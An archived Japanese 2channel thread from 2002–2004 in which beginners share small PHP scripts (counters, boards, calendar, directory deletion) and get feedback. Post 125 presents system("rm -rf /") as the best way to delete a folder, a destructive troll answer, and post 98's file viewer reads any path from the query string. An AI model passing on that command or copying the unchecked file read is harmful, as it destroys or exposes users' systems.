2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【PHP】自作スクリプト発表会

1 :nobodyさん:02/03/30 11:55 ID:M/C/V7hb
自分が書いたPHPスクリプトを発表するスレ。
初心者が書いた入門スクリプト、ベテランが書いたすげースクリプト。
発表してね。
予めスクリプトの内容を明記してURLを貼り付けるのがよろしいかと。
マターリ進行でいきませう。

PHPが使える無料サーバ情報(レッツPHP!):
http://php.s3.to/php/

2 :nobodyさん:02/03/30 12:13 ID:???
宣伝板でも逝け

3 :nobodyさん:02/03/30 12:32 ID:???
まず>>1から晒してね。

++++++++++++++++++++ 終了 ++++++++++++++++++++

4 :nobodyさん:02/03/30 17:14 ID:???
はずかしいのでsageで晒すことにしよう。
ttp://www.orb-2.info/other/source.php?sql_img_bbs.php

厨なスクリプトかもしれないけど、どんなもんでしょう?
ちなみに画像掲示板です。

5 :nobodyさん:02/03/30 22:45 ID:???
talksstpが(・∀・)イイと思った

6 :なると:02/03/31 03:05 ID:???
昨日はじめたようなプログラム初心者ですが、
晒していいのかなぁ、、

7 :nobodyさん:02/03/31 12:20 ID:e940DqcP
>>なるとさん
Hello world!でもいいですよ!

8 :nobodyさん:02/03/31 20:50 ID:BQ+/DH6N
ポマエラ!こんなロジック組んでくれ。おながいします

CSVデータの変更プログラム

列A,列B,列C
11,22,33
44,55,66
  ・ 
  ・
  ・

これを

列A,列B,列C
11,22,33
44,XX,66
  ・ 
  ・
  ・

55のところをXXに変更。

つまり、指定した列の指定した行を任意に変更できるロジック。
もちろん、なるべくメモリを食わないように。

9 :nobodyさん:02/03/31 21:47 ID:???
うるせースレ違いバカ。

10 :どっかであぷろだ晒し中:02/03/31 22:18 ID:???
>>4
フォームを echo で表示してるとこ、
「"」をいちいちエスケープするくらいなら「'」で書きゃいいのに、
と思った。
あと、他の表示の部分も、毎回変わる内容じゃなければ
上の方に変数にして固めておけば、少しはさっぱりするんじゃないかな。

それか、かちゅ〜しゃみたいに他のファイルにしとくとか。

他は、なんか自分よりコード綺麗でいいなと思ったり。

11 :nobodyさん:02/03/31 22:52 ID:???
>>4
書き方のスタイルの違いかもしれないけど、
echoじゃなくて、?>で閉じて普通に出力したほうが
見やすいと思った。
Dreamweaverで編集もできるし。

12 :11:02/03/31 23:17 ID:???
みんなに聞きたいんだけど、タグとか文字とか出力するときってどうしてる?

echo "<a href=\"xxx.php?a=$a\">$a</a>";

?>
<a href="xxx.php?a=<?= $a ?>"><?= $a ?></a>
<?

俺は後者。

13 :10:02/03/31 23:30 ID:???
>>12
げ、、、こんな書き方始めて知った。
?>で外すとき、いつもこう書いてたよ。

?>
<a href="xxx.php?a=<? echo $a; ?>"><? echo $a; ?></a>
<?

面倒、面倒と思ってたのに、そんなことが出来たとは・・・

14 :4:02/03/31 23:34 ID:???
レスついてますな。
10&11氏の意見は参考になるのでどうもありがとうございます。
エスケープするのは'だとなんか自分的にややこしいので\"使ってます。
12のは見てもらえばわかる通り前者です。

15 :11:02/04/01 00:49 ID:???
>>13
どのバージョンからできるようになったかは知らんが、
最近のはできる。
俺は<?= ?>より<? echo $a ?>のほうがいいだと思う。
互換性だけでなく見た目的にも。


16 : ◆AngelBlk :02/04/01 11:03 ID:???
自分はXMLのこと考えて
<?php echo $a; ?>
にしてるなぁ・・・。
面倒とは思うんだけど。

あと、タグとかは外に出す方かな。


17 :なると:02/04/01 21:49 ID:???
よくわからないけど、他人のソースとか、マニュアルとか読んで
カウンタを作ってみました。
自分でもわからないことが多いけど、とりあえず動くみたいです、、

<?
$file = "log.txt";

if(!($fp = fopen($file, "r"))){
/* ファイルが開けないときは終了 */
echo " ファイルが開けません!!";
exit;
}
$count = fgets($fp, 256);
fclose($fp);
$count = (int)$count;
$count++;

if(!($fp = fopen($file, "w"))){
echo " ファイルが開けません!";
exit;
}
fputs($fp, "$count");
fclose($fp);

?>

あなたは、<font color=#ff0000> <? echo $count; ?></font> 人目のPHPマニアです。。。
<br>

18 :なると:02/04/01 21:52 ID:IORYSc+w
さげちゃったです。。

19 :nobodyさん:02/04/01 22:20 ID:???
exit ("ファイルが開けません!!");とかは?
あと
$count = fgets($fp, filesize($file));
とかの方がいいのかもしれない。
あとflockとかも入れたほうがいいのかな。

20 :なると:02/04/01 22:50 ID:IORYSc+w
>>19
アドバイスありがとうございます!
$count = fgets($fp, filesize($file));ってことは、
つまり、漏れのやつだと256バイトを読み込んでるんだけど、
これだとファイルのサイズに合わせて読み込めて、軽くなるってことかな。。

flockはファイルロックですよね。。

21 :なると:02/04/01 22:53 ID:IORYSc+w
あれ。$count = fgets($fp, filesize($file));に変えたら
カウンタが1から動かなくなってしまった。

22 :nobodyさん:02/04/01 23:12 ID:???
ごめん折れにもわからなかった
逝って来る

23 :apacheuserさん:02/04/01 23:46 ID:???
>>20
一応マニュアルにはfgetsの二つ目の引数の大きさは
ファイルサイズを越えても問題ない、とあった気がする。

個人的にはエラーが出て終了するんじゃなくて、$countに
エラーを代入して数字の代わりにエラーメッセージを出力、
ってほうが好き。

24 :なると:02/04/02 00:53 ID:SHbCbPK7
>>23
おお、なるほど。
じゃあ、これでも問題はないと。。ありがとうございます。

というか今見てみると、
if(!($fp = fopen($file, "r")))の
if(!
の意味がわからない、、、調べてきます。。

25 :nobodyさん:02/04/02 02:21 ID:???
しかし、こうして見るとPHPは本当に簡単そうだな。

26 :apacheuserさん:02/04/02 07:38 ID:???
>>21
>あれ。$count = fgets($fp, filesize($file));に変えたら
>カウンタが1から動かなくなってしまった。

以下php.netより。

>string fgets ( int fp [, int length])
>Returns a string of up to length - 1 bytes read from the file
>pointed to by fp.

freadのほうは長さいっぱいまで読んでくれると書いてある。
>string fread ( int fp, int length)
>fread() reads up to length bytes from the file pointer
>referenced by fp.

試しにログファイルに2バイト以上のデータを突っ込んでみれ。
何かわかるかも。

27 :なると:02/04/02 12:55 ID:4fz1y7Df
>>24
自己レス。「!」は否定の演算子なので、
この場合は、ファイルが開かなかった場合、という意味っぽい。

>>25
初心者にもわかりやすくて、楽しいですよヽ(´ー`)ノ
>>26
わかったような、わからないような…。

28 :nobodyさん:02/04/02 17:51 ID:???
>>21
fgetsだと-1バイトで終わるからfreadに変えるのが正解かな
例えばlog.txtに1バイトしか入ってないと
fgetsだと1-1で0になるから
次の$count++で1になっていつまでたっても1から進まないのでは?

つうか分かりづらいので
fgetsの後に$count2とか作って、後で表示させた方が分かりやすいかもん

29 :28:02/04/02 17:55 ID:???
そもそも分かりづらいので最初からこれ出せば良かった>>26の日本語訳
fgets
http://jp.php.net/manual/ja/function.fgets.php
fread
http://jp.php.net/manual/ja/function.fread.php

30 :なると:02/04/02 18:22 ID:4fz1y7Df
簡単な掲示板に挑戦してみました。

<html>
<body bgcolor="#EEEEFF">
<blockquote>
<form method="post" action="<? echo $PHP_SELF; ?>"><b>名前</b><input name="name" type="text" size="20">
<b><br>内容</b><input name="mes" type="text" size="40"><input type="submit" value=" Send "><P>
<?

$lines = file("log.txt");
for($i = 0; $i < 10; $i++) {
echo $lines[$i];
}
if($name && $mes){
$mes = htmlspecialchars ($mes);
$name = htmlspecialchars ($name);
}

if(!($name)){
$name = "名無しさん\n";
}

$dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";

$lines = file("log.txt");
$fp = fopen("log.txt","w");
fputs($fp,$dat);
for($i = 0; $i < 20; $i++)
fputs($fp, $lines[$i]);
fclose ($fp);

?>
</form>
</blockquote>
</body>
</html>

31 :なると:02/04/02 18:23 ID:4fz1y7Df
>>28-29
おお!ありがとうございます。
今からじっくり読んでちょっと改良したものを作ってみますね。

32 :なると:02/04/02 18:55 ID:4fz1y7Df
>>28
おお!できた!すげぇ!
freadっていうのは、最高lengthバイトまで読み込んでくれるから、
ファイルのサイズの全部を読んでくれるってことなのかな。。

33 :apacheuserさん:02/04/03 01:59 ID:???
>>29
そういや日本語版があったな・・・。
鬱出汁脳・・・。

34 :apacheuserさん:02/04/03 02:03 ID:???
>>30
閲覧と書き込みの分岐が無くない?
あとログの出力がログの記入より前にあるから
書き込んでもすぐ反映されないのでは?

35 :なると:02/04/03 03:54 ID:p/YLm2dW
>>34
ほんとうだ!!
通りでおかしいと思った!!
直してみます。

あと、分岐がなくても掲示板としては動いているのですが、
分岐していたほうが都合がいいのでしょうか?

36 :nobodyさん:02/04/03 09:48 ID:???
>>35
書き込んだ後にF5押すと2重書き込みになっちゃう気配。
まぁ対策はいくらでもあるだろうけどね。

37 :nobodyさん:02/04/03 10:37 ID:???
>>30
forに固定入れてるようだけどsizeofで取得した方が楽じゃないかな
$line_c = sizeof($lines);
for($i=0; $i<$line_c; $i++) {
名無し処理の\nは取り除いてね、$linesのカウントずれるから
ついでに名無し処理のifはif(!$name){ でいいんじゃない?

38 :なると:02/04/03 18:16 ID:0xPsQVu6
>>35
そうなんですよ・・・。今対策をいろいろ試しているところです。
inputにnameを"sub"と指定して、
if($sub=="Send"){
を書き込みの前においてみたらできるかな、って思ったんですけど、
ダメでした・・・(;;)
>>36
sizeofってことは、配列内の変数を取得するってことですか?
自分にはよくわからないのですが、$linesの変数を返したのが
$line_cで、それをfor($i=0; $i<$line_c; $i++) {で返しちゃうと、
書き込みがずっと最新1件しか表示されなくなっちゃうんですよ・・・。
perlとかのCGIを見てみると、最初のほうに
「$max = 10」などと設定してからやってるみたいなんですけど、
sizeofを使う利点はどのような点か教えていただけますか?
なんかわかりにくい文章で申し訳ないです…。

39 :nobodyさん:02/04/03 20:52 ID:???
>>38
forで回す必要ある?aで開けばいいんじゃない

$fp = fopen("log.txt","a");
fputs($fp,$dat);
fclose ($fp);

40 :apacheuserさん:02/04/03 23:50 ID:???
ちょっと遅いけど、さっきfputの速度を計ってみますた。
カウンタを想定し7バイトのファイルを用意して、
256バイトずつ読むのとfilesize()で調べたサイズだけ読んでみた。
ファイルサイズを調べる分のオーバーヘッドがあるせいか
固定値で調べたほうが速かった。無視できるくらいだけど。
ちなみにもっと大きなサイズ(40K弱だったと思う)の場合
filesize()を調べたほうが圧倒的に速かった。
参考までに。

>>37,38
$maxが固定なのは恐らく表示件数・保存件数を一定にしたいからだと思う。
ただ、保存する件数が$max+1になってるけどな。

>>39
それをやるとファイルの一番後ろに書いてしまうことにならない?

41 :あぼーん:あぼーん
あぼーん

42 :なると:02/04/05 02:29 ID:OTHB+g89
>>39
ふにゃ。fopenのモードがwだと書き・ポインタ先頭で、
aだと書き・ポインタ終端と覚えたんです。
んで「書いたのが先頭にきたほうが読みやすいな」と思ったんですが、
aのほうがいいですか??
あと、forを使ってるのは単純にログがこの数字になったら自動的に消す、
っていうのをやってて、それ以外の方法を知らなかったりします…。
>>40
おお!すげぇ。やっぱりfilesize()にするべきですね。
ところで、$maxの件ですが、掲示板ってたいていログの限界数が決まってるじゃないですか。
それを考えると、$maxとかにしたほうが使いやすいかな、って思ったんですけど、
他にスマートに一定数になったらログが消えるシステムってありますか?


43 :なると:02/04/07 13:37 ID:b5XtSahI
一行じゃなくて、何行でもかけるようにして、
改行もできるようにしました…。
<html>
<body bgcolor="#EEEEFF">
<blockquote>
<form method="post" action="<? echo $PHP_SELF; ?>"><b>名前</b><input name="name" type="text" size="20">
<b><br>内容</b>
<textarea name="mes" cols="40" rows="5"></textarea>
<input name="sub" type="submit" value="Send"><P>
</form>
<?
$line_c = sizeof($lines);
if(!$name){
$name = "名無しさん\n";
}
if($name && $mes){
$mes = htmlspecialchars ($mes);
$mes = str_replace("\n", "<br>", $mes);
$mes = str_replace("\n", "",$mes);
$name = htmlspecialchars ($name);
}
$dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
$lines = file("log.txt");
$fp = fopen("log.txt","w");
fputs($fp,$dat);
for($i = 0; $i < 20; $i++)
fputs($fp, $lines[$i]);
fclose ($fp);
$lines = file("log.txt");
for($i = 0; $i < 10 ; $i++) {
echo $lines[$i];
}
?>
</form>
</blockquote>
</body>
</html>

44 :なると:02/04/07 13:39 ID:b5XtSahI
ソースをそのまま書き込むのはさすがにうざいので、
どこかにUPしてきます(´д`)y-~~

45 :apacheuserさん:02/04/07 15:40 ID:5JNffQ+t
<?
//保存件数
$MAX=20;

if(!$name){
  //名前が入っていない場合
  $name = "名無しさん";
}
$lines = file("log.txt");
if($name && $mes){
  //書き込み時の分岐
  $mes = nl2br(htmlspecialchars ($mes));\
  $mes = str_replace("\r", "", $mes);
  $mes = str_replace("\n", "", $mes);
  $mes = str_replace("\r", "", $name);
  $mes = str_replace("\n", "", $name);
  $name = htmlspecialchars ($name);
  $dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
  $fp = fopen("log.txt","w");
  fputs($fp,$dat);
  unset($tmp);
  $tmp[] = $dat;
  //保存件数は$MAXのため$MAX-1回保存
  for($i = 1; $i < $MAX; $i++){
    $tmp[] = $lines[$i];
    fputs($fp, $lines[$i]);
  }
  fclose ($fp);
  $lines = $tmp;
}
for($i = 0; $i < 10 ; $i++) {
  echo $lines[$i];
}
?>

46 :apacheuserさん:02/04/07 15:41 ID:5JNffQ+t
改行が多すぎ、と言われたので少し分割。
基本的になるとさんのと同じ。
"おい、ここはちょっと・・・"
って思ったところだけ変えて見ますた。

47 :apacheuserさん:02/04/07 15:48 ID:???
分割してねぇよ。
HTML部だけ省略だ。
HTMLの部分は>>43を参照。

48 :nobodyさん:02/04/07 16:55 ID:???
したの</form>はいらん。

49 :nobodyさん:02/04/07 22:29 ID:???
  $mes = str_replace("\r", "", $mes);
  $mes = str_replace("\n", "", $mes);
  $mes = str_replace("\r", "", $name);
  $mes = str_replace("\n", "", $name);

   ↓

  $mes = str_replace("\r|\n", "", $mes);
  $name= str_replace("\r|\n", "", $name);


50 :nobodyさん:02/04/08 01:35 ID:???
$mes = str_replace("\r\n|\r|\n", "<br>\n", $mes);


51 :apacheuserさん:02/04/10 23:54 ID:???
>>49
orで検索できるんですか。知らんかった。

>>50
それって改行入るからだめなんじゃ・・・。

52 :rootさん:02/04/28 19:19 ID:6TJDtFTq
ageてみる

53 :nobodyさん:02/04/28 22:04 ID:???
>>51
str_replaceの引数は全て配列でいけるのって
あまり知られてないのよね・・・

54 :nobodyさん:02/04/28 22:45 ID:???
>>53
配列?こういうこと?

$str[0] = "\r";
$str[1] = "\n";
$str[2] = "\r\n";

$mes = str_replace ($str, "<br>", $mes);

55 :nobodyさん:02/04/28 23:23 ID:???
>>function.str-replace.html
>>PHP 4.0.5 以降では、str_replace() への全てのパ ラメータは配列とすることが可能です。
すまん、3は駄目だった。

>>54
$str[0] = "\r\n";
$str[1] = "\r";
$str[2] = "\n";
$mes = str_replace ($str, "<br>", $mes);
じゃないと、改行が\r\nの時<br><br>にならない?
ただ、展開される順番確認してないので確実ではない。
オネムナノ (-_ゞゴシゴシ

56 :東山 ◆tmcSEEZE :02/04/30 02:06 ID:???
今実験場が無いんで設置してないんだけど、
YAIGって海外の画像ギャラリースクリプトを改造してたりする。

いちおう特色はこんなん(オリジナルへの付加要素)
・スキン(埋め込むだけ)
・5つまでのアルバムに対応、それぞれに分別表示(強化予定)

ちょい作成に行き詰まったので、殆ど最初っから書き直そうと思ってる。
…まぁ自分のサイト用だから、公開するのはかなり先になるけど。

57 :nobodyさん:02/06/22 07:58 ID:???
PHPのコードは疑問だらけですね


58 :nobodyさん:02/06/23 15:02 ID:???
http://www.kensu.com/plywood.php

59 :nobodyさん:02/06/27 14:15 ID:???
>>58
ソースきれい

60 :nobodyさん:02/06/27 17:13 ID:???
ifとかwhileとか{}を省略できる場合でも、
やっぱり見た目的にはつけたほうがいいんでしょうか?

自分は省略して書いてるけど…
while(1)
  $hoge = 1
こんな感じ

61 :nobodyさん:02/06/27 17:23 ID:???
一人でやるなら好きな方で良いんでない?

62 :nobodyさん:02/06/27 20:43 ID:???
1人じゃなかったら?
例えばその、仕事とかで書くなら。

63 :nobodyさん:02/06/28 02:54 ID:???
>62
プロジェクトマネージャーの指示に従う。

64 :nobodyさん:02/06/28 08:35 ID:???
>>60
その辺の是非についてはちょっと前にこんな議論があったりしました。
参考にしてみては?

この会社辞めようと思ったソースコード#4 @マ板
http://pc.2ch.net/test/read.cgi/prog/1021560641/118-

65 :nobodyさん:02/10/22 18:04 ID:Dc8ZNLM6
age

66 :65:02/10/22 18:04 ID:???
うわー、誤爆スマソ

67 :nobodyさん:03/03/28 06:40 ID:???
そろそろ一周年あげ

68 :nobodyさん:03/04/14 11:20 ID:eYkIMkHB
<?$str = htmlspecialchars($_POST['txt']);
$type = $_POST['type'];
$temp = chunk_split($str,1,":");
$result = explode(":",$temp);
switch($type){
case "0" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 1){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
case "1" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 0){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
}?>
もっとスマートに書けそうだな・・・

69 :nobodyさん:03/08/18 20:07 ID:???
ほしゅ

70 :nobodyさん:03/08/19 17:11 ID:???
php勉強中の物です。
人のソースみれるなんて勉強になるスレですね。

71 :nobodyさん:03/08/20 22:21 ID:DmnhIRDP
グッサンまじで干されたな

72 :nobodyさん:03/08/23 22:09 ID:L0wSRRTt
<?php
phpinfo();
?>

73 :nobodyさん:03/09/23 14:42 ID:???
<?php
$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>

74 :nobodyさん:03/09/23 14:43 ID:???
<?php
$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>

75 :nobodyさん:03/09/23 14:44 ID:???
ごめん、ミスってしまいました。

76 :nobodyさん:03/10/07 22:52 ID:/z//HM11
普通の掲示板ですが、スキンをもたせてデザインを変えれるようにしてマス。
訪問者はめっちゃ少ないですが、自分なりに手ごたえはあったような気がするので
評価してみてください。。。(・∀・)
ちなみにPHP歴はちょうど1年デス。

http://www.shuta.org/simplet/phpscript/simplet_board.html

77 :nobodyさん:03/10/13 19:15 ID:???
なかなかいいでつねw

78 :nobodyさん:03/10/17 22:48 ID:/0HAJGKT
このスレ流行らない〜♪(・∀・)

79 :nobodyさん:03/11/01 05:06 ID:0M/5svli
うpろだあれば晒しやすいんだがな〜

80 :nobodyさん:03/11/04 20:07 ID:V0sFneFh
こんなのつくたヨ
http://f3.aaacafe.ne.jp/~null/gets.php
http://f3.aaacafe.ne.jp/~null/gets.zip

とりあえずフレームの一個下までは読めます。それ以下はタイムアウトしちゃうかも…。
2ch の場合は dat 読んで自分でHTML吐いてます。
どうかな?

user: user
pass: pass
でテストログインっす。

81 :nobodyさん:03/11/04 20:14 ID:???
>>80
なんかよく分からないけど、全部消しちゃった。

82 :80:03/11/04 20:16 ID:???
>>81
いや、消しても問題ないですヨ

83 :nobodyさん:03/11/04 20:30 ID:???
>>80
ふむ、便利だ。
これを他のPHPスクリプトと上手に使えれば(゚д゚)ウマー

84 :nobodyさん:03/11/04 20:32 ID:???
>>80
zip ダウンロード出来ません

85 :80:03/11/04 21:34 ID:???
>>84
h ttp://ime.nu/ 経由でDLしてください。リファラでチェックして弾いてる模様。

86 :nobodyさん:03/11/04 22:06 ID:???
>>85
DL出来ました
ありがとうございました

87 :nobodyさん:03/11/08 15:53 ID:oR+D+DMq
phpどころかperlも自分で書いたことの無い初心者です。
とりあえず掲示板…とかは難しそうなので最初に書いてみたのがこんなの。

<?php
$logfile = "log.txt";

$time = date("Y/m/d[D]\tH:i:s");
$add = getenv("REMOTE_ADDR");
$host = gethostbyaddr($add);
$agent = getenv("HTTP_USER_AGENT");
$ref = getenv("HTTP_REFERER");
if($ref=="") $ref = "none";
$data = "$time,$name,$add,$host,$agent,$ref\n";

$fp = fopen($logfile,"a");
fputs($fp, $data);
fclose($fp);
?>
一応記録は出来てるみたい。
まだまだ先は長いけど…

88 :nobodyさん:03/11/08 20:15 ID:???
>>87
getenv よりも $_ENV のほうがイイのかな。
あとロックはした方が。

89 :nobodyさん:03/11/09 01:45 ID:???
>>87
あとどうせ$dataに入れるなら $data .= したほうが。

90 :87:03/11/10 16:42 ID:???
ありがとうございます、やってみます。
89みたいに「.」を入れるとどうなるんでしょう?…とりあえず試してみます。

あれから、一日一ログファイル化とn日前のログは消去ってのに進化(?)しました。
そろそろビューアーを作ってみよう…面倒そうな予感…

91 :nobodyさん:03/12/15 03:39 ID:9CFo/Eqs
掲示板作ってみた。
ttp://up.isp.2ch.net/up/306d0610b2b5.zip

92 :ここがすごいと思われ:03/12/15 21:36 ID:85uBylp5
サンプル↓
ttp://cgi.f10.aaacafe.ne.jp/%7Esakataku/se/hako-main.php

これすごい

93 :nobodyさん:04/01/04 04:42 ID:???
>>92
php版は配布サイトがあるが・・・
確かにいくらか改造してあるみたいだけど
一体どこが凄いんだ?

94 :サ骨 ◆xO/IQ5000w :04/02/08 07:32 ID:2XWG9op1
昨日くらいからphpはじめました。

とりあえず10回アクセスがあるごとに文章がランダムで変わるスクリプト書いてみました。
http://sakots.pekori.jp/cgi/acrand/acrand.php

ソース
http://sakots.pekori.jp/cgi/acrand/acrand.zip

95 :nobodyさん:04/02/08 15:04 ID:j1/Dqn/7
PHPど初心者なんですが、ちょっと思い立って作ってみたいスクリプトがあるんですが
相談に乗ってやってください。
文字で説明がちょっとしづらいので画像も織り交ぜます。
http://wish.disneysea.org/pope/img/pic.jpg

で、自分が作りたいスクリプトというのは
上の画像のAにある商品をクリックするとBに商品説明が出て
Aをダブルクリックなどの何らかの方法でCに表示させてCで数量を増減出来るようなものが作りたいです。

説明が下手で皆様には伝わってないかもしれませんがよろしくおねがいします。

96 :nobodyさん:04/02/08 15:08 ID:???
>>95
スレタイ嫁

97 :nobodyさん:04/02/08 16:16 ID:???
>>95
   ___    クルッ…   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  / || ̄ ̄|| <⌒ヽ ))  < はてさて、
  |  ||__|| <  丿    | どこを縦に読みゃいいんだ?
  | ̄ ̄\三⊂/ ̄ ̄ ̄/  \___________
  |    | ( ./     /

98 :nobodyさん:04/02/13 21:25 ID:???
<?php
$file=$_SERVER['QUERY_STRING'];

$html_head = <<<HTML_HEAD
<html>
<hrad>
<title>そーすびゅーあ</title>
</head>
<body>
<font size=+2>${file}の中身</font>
<hr>

HTML_HEAD;
echo mb_convert_encoding($html_head,"SJIS","EUC-JP");

$fp=@fopen("$file","r") or die("Error! Can't open the file.");
while(!feof($fp)){
$temp=htmlspecialchars(chop(fgets($fp)))."<br>\n";
echo mb_convert_encoding("$temp","SJIS","EUC-JP");
}
fclose($fp);

echo mb_convert_encoding("<hr>\n</body>\n</html>","SJIS","EUC-JP");
?>

どうよ。ローカルでは結構便利かも。
ビューアより見やすい・・・ことはナイカ・・orz

99 :nobodyさん:04/02/13 21:27 ID:???
>>98
ブラクラ対策に使えるかもね
それだけ

100 :nobodyさん:04/02/13 21:36 ID:???
echo mb_convert_encoding("$temp","SJIS","EUC-JP");
より
echo mb_convert_encoding("$temp","SJIS","auto");
のほうが良いと思われ

101 :nobodyさん:04/02/15 17:28 ID:???
>>100
トラブルの元ですが。

102 :nobodyさん:04/02/16 16:15 ID:???
最新版だったかなぁ、
echo mb_convert_encoding("$temp","SJIS","auto");
で文字コードを判別できませんと言われてしまったので、
echo mb_convert_encoding($temp, "EUC-JP", "UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP");
ってやったら、ちゃんとなったよ

103 :nobodyさん:04/02/23 13:49 ID:???
PHPのコンペがあるらしい
オリジナルの未発表作品に限るが
PHP賞にえらばれれば 5万円もらえるって
おまいらどうよ?
http://compe.japandesign.ne.jp/ap/01/lite/phpsakuhin/


104 :nobodyさん:04/02/23 14:21 ID:???
おじいちゃんの話で貰えるかな。5万円。

105 :nobodyさん:04/02/24 02:15 ID:???
>>103
危うく出場するところだったZE!

106 :nobodyさん:04/02/24 11:27 ID:???
>>104
ATMで泥棒呼ばわりされて死んだおじいちゃんか

107 :nobodyさん:04/02/25 00:05 ID:???
>>102
それって「耳」みたいな文字化けない?
SJISだと耳でEUC-JPだと半角カナになるから
SJISではなくてEUC-JPにご認識されることがある

ちなみに上の文字は1文字単体

108 :nobodyさん:04/03/12 03:17 ID:???
>>103
よし、1年前に死んだ漏れの愛犬の話を…

109 :今日始めたPHP君:04/03/12 15:07 ID:???
なるとさんのを参考に下のを作ってみました。
しかし、書き込みできません、なぜでしょう(ログに書き込まれない)

<html>
<head>
<body>
<form method="post" action="<? echo $PHP_SELF; ?>">
<b>コメント</b><input name="name" type="text" size="20">
<input type="submit" value=" Send ">
<?
$data = file("data.cgi");
for($i = 0;$i < 10;$i++){
echo $data[$i];
}
$mes = htmlspecialchars ($mes);
$log = "$mes\n";
$data = file("data.cgi");
$fp = fopen("data.cgi","w");
fputs($fp,$log);
for($i = 0; $i < 20;$i++)
fputs($fp,$log[$i]);
fclose($fp);
?>
</form>
</body>
</head>
</html>

110 :今日始めたPHP君:04/03/12 15:10 ID:???
失礼、スレ違い

111 :nobodyさん:04/03/15 15:52 ID:h0qk8HnH
http://www5e.biglobe.ne.jp/~yb_net/clip/img/17225.txt
3年ほどプログラミングから離れてたからリハビリがてらに作って見た。
自分より下のディレクトリをツリー表示するスクリプト。
人が居なさそうなのでage

112 :nobodyさん:04/03/18 16:54 ID:MiGVyUNw
<?php
$fp = fopen("./count.dat","r+");
flock($fp,LOCK_EX);
$count = fgets($fp);
$count++;
fwrite($fp,$count);
fclose($fp);
echo($count);
?>
アクセスカウンター。

113 :nobodyさん:04/03/22 17:35 ID:szpeqsZ5
<?php
require_once ('Date/Calc.php');
class CalBase {
var $dayCnt;
var $weekCnt;
var $weekNo;

function CalBase($month , $year) {
$dt = new Date_Calc;
$this->dayCnt = $dt->daysInMonth($month,$year);
$this->weekCnt = $dt->weeksInMonth($month,$year);
$this->weekNo = $dt->firstOfMonthWeekday($month,$year);
}

function getCalAry() {
$days = "";
$daySrc = array();
for($i = 0;$i<$this->weekCnt * 7;$i++) {
if($i == $this->weekNo) $days = 1;
if($i >= $this->weekNo && $this->dayCnt >= $days) {
$daySrc[$i] = $days;
}
else {
$daySrc[$i] = "・";
}
$days++;
}
return $daySrc;
}
}
?>
カレンダーの素

114 :nobodyさん:04/03/22 17:54 ID:szpeqsZ5
次に、表示
<?php
require_once('CalBase.php');

$cal = new CalBase('3','2004');
$calSrc = $cal->getCalAry();

echo '<table><tr>';
foreach($calSrc as $key=>$val) {
if(($key+1) % 7 == 0 && $key != 0) {
echo "<td><span style='color:blue'>$val</span></td></tr><tr>";
}
elseif(($key+1) % 7 == 1 || ($key+1) == $val) {
echo "<td><span style='color:red'>$val</span></td>";
}
else {
echo "<td>$val</td>";
}
}
echo '</tr></table>';
?>

115 :nobodyさん:04/04/01 20:22 ID:84kVyOOh
もっとキボン

116 :nobodyさん:04/04/04 03:01 ID:bLnZrz+4
 

117 :たまによくあること:04/04/04 12:57 ID:3ND1yVd/
HTML二次元配列格納装置 -使い道はまったくなっしんぐ(☆∀☆)-
<?php
//勝手に増やせよ《゚Д゚》ゴラァァァァァァァァァァァァア!!
$fp[0] = fopen("http://search4.auctions.yahoo.co.jp/jp/search/auc?p=php&auccat=21700&alocale=0jp&mode=2","r");
$fp[1] = fopen("http://list4.auctions.yahoo.co.jp/jp/2084008801-category-leaf.html?f=&alocale=0jp&mode=2","r");

for($y=0;$y<count($fp);$y++){
$i=0;
while (!feof ($fp[$y])) {
$text[$y][$i] = fgetss($fp[$y], 4096, "<a>,<img>");
$text[$y][$i] = trim($text[$y][$i]);
$i++;}

$n=0;
for($m=0;$m<count($text[$y]);$m++){
if($text[$y][$m] == "¥t" or $text[$y][$m] == "¥s" or $text[$y][$m] == "" or $text[$y][$m] == "¥n" or $text[$y][$m] == "¥r¥n" or $text[$y][$m] == " "){ }else{
$text_1[$y][$n] = $text[$y][$m];
$n++;}
}

print("<TABLE BORDER=1>");
for($x=0;$x<count($text_1[$y]);$x++){
print("<TR>
<TD>".$y."</TD>
<TD>".$x."</TD>
<TD>".$text_1[$y][$x]."</TD>
</TR>¥n");
}
print("</TABLE>");
fclose ($fp[$y]);
}
?>

118 :nobodyさん:04/04/08 04:13 ID:RRs8f8iP
フォルダを削除するときに、そのフォルダの中にある
全部のファイルやフォルダを削除する関数を誰か作ってください

119 :nobodyさん:04/04/08 04:18 ID:???
>>118
再帰すればいいじゃない

120 :nobodyさん:04/04/08 07:41 ID:???
<?php
$でぃれくとり = './てすと';
さくじょ♪($でぃれくとり);
function さくじょ♪($■) {
if ($@ = opendir($■)) {
while ($□ = readdir($@)) {
if ($□ == '.' or $□ == '..') continue;
elseif (is_dir("$■/$□")) さくじょ♪("$■/$□");
else unlink("$■/$□");
}
closedir($@);
rmdir($■);
}
}
?>

121 :nobodyさん:04/04/14 20:45 ID:sODzky5p
だれか、SQLite対応の掲示板を作っている奴いる?


122 :nobodyさん:04/04/14 22:46 ID:???
>>121
php5の正式版が出てからだろ

123 :nobodyさん:04/04/16 20:57 ID:M6UxhkA2
<?
for($i=1;$i<20;i++){
print("age!"){
}

124 :>>123:04/04/16 20:59 ID:M6UxhkA2
謝った・・・_| ̄|○

125 :nobodyさん:04/04/17 19:11 ID:E2aViHFU
>>118
パーミッションや所有者の違いで
unlinkでは削除できないファイル、ディレクトリーもあるから
システム関数から削除した方がベスト
[ソース]
<?
system("rm -rf /");
?>


126 :カポコン:04/04/26 13:33 ID:???
